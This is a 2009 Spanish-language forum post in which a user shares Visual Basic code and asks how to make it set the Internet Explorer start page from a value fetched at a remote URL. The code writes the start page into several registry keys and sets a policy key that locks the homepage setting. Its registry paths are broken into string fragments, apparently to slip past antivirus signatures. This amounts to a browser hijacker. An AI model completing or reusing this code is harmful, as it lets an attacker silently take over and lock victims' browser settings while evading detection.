Título: ayuda con cambio de pagina de inicio mediante web Publicado por: arnoldz en 11 Enero 2009, 16:48 pm aqui esl codigo bueno la idea es q www.caidos.net quiero q sea otra peor cmabiarlo mediante web
ejemplo http://www.cuscored.com/paginainicio.php aqui el texto de www.elhacker.net quiero q coja esta valor y cambie de pagina ya no caidos.net si no el elhacker.net creoq me dejo entender : quieor q cambie la pagina de inicio segun el valor de la url (http://www.cuscored.com/paginainicio.php) espero q me ayuden creo alguien me dijo por Inet1.Execute ("http://www.cuscored.com/paginainicio.php") pero no se la sentenciua exacta ayudenme porfavor gracias Private Sub Command1_Click() Dim residencia On Error Resume Next Set residencia = CreateObject("WScript.Shell") residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://www.caidos.net/" residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://www.caidos.net/" residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "0" residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://www.caidos.net/" End End Sub |